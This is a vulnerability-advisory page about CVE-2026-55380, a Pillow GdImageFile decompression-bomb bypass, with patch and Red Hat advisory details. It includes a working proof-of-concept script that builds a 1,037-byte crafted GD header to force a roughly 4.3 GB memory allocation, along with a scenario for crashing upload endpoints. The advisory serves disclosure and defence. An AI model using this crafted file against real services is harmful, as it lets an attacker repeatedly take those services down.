Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-55380 — pillow

HIGHFix: python-pillow/Pillow@f39b0ae

CVE-2026-55380 is a high-severity (CVSS 7.5) CWE-789 vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.

Pillow GdImageFile decompression bomb protection bypass

Also known asBIT-pillow-2026-55380GHSA-phj9-mv4w-65pmPYSEC-2026-2256
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55380.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.23%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.4%0.4%0.6%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55380 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,993 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍pillow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

FieldValue
Maximum width from header65,535 (unsigned 16-bit)
Maximum height from header65,535 (unsigned 16-bit)
Maximum pixel count65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio24× above DecompressionBombError threshold
Memory at max dimensions≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

PathFile sizeEffect
Transient (header only)1,037 bytesload_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data)~4.3 GBload() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpillowall versions12.3.0pip install --upgrade 'pillow==12.3.0'

Affected Products

1 product · 1 configurations
Application
pillowpython
< 12.3.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55380 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

A denial-of-service vulnerability was found in Pillow's GdImageFile plugin. The GdImageFile._open() function reads image dimensions from GD 2.x file headers and stores them without performing a decompression bomb check. A crafted .gd file of approximately 1 KB can trigger an unchecked 4.3 GB C-heap allocation,…

Workaround published by Red Hat
Avoid processing untrusted GD 2.x image files with PIL.GdImageFile.open(). Use Image.open() instead, which includes decompression bomb protections for supported formats. If GdImageFile must be used, validate the image dimensions before calling load(). Restricting accepted image formats at the application boundary to only those explicitly needed can reduce exposure.
Source: Red Hat security advisory for CVE-2026-55380 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.5 for RHEL 8python3.12-pillow-0:12.3.0-1.el8apRHSA-2026:50319
Red Hat Ansible Automation Platform 2.6 for RHEL 9python3.12-pillow-0:12.3.0-1.el9apRHSA-2026:50336
Red Hat Enterprise Linux 8python-pillow-0:5.1.1-22.el8_10RHSA-2026:39127
Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Supportpython-pillow-0:5.1.1-15.el8_4.2RHSA-2026:52551
Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Supportpython-pillow-0:5.1.1-20.el8_6RHSA-2026:48760
Red Hat Enterprise Linux 8.8 Telecommunications Update Servicepython-pillow-0:5.1.1-20.el8_8RHSA-2026:48759
Red Hat Satellite 6.16 for RHEL 8python-pillow-0:12.3.0-1.el8pcRHSA-2026:50223
Red Hat Satellite 6.17 for RHEL 9python-pillow-0:12.3.0-1.el9pcRHSA-2026:50222

Frequently Asked Questions

## Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. **Vulnerable code (`PIL/GdImageFile.py` lines 50–61):** ```python def _
O3 Security · Impact-Aware SCA

Is CVE-2026-55380 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-55380: pillow DoS — Fixed in 12.3.0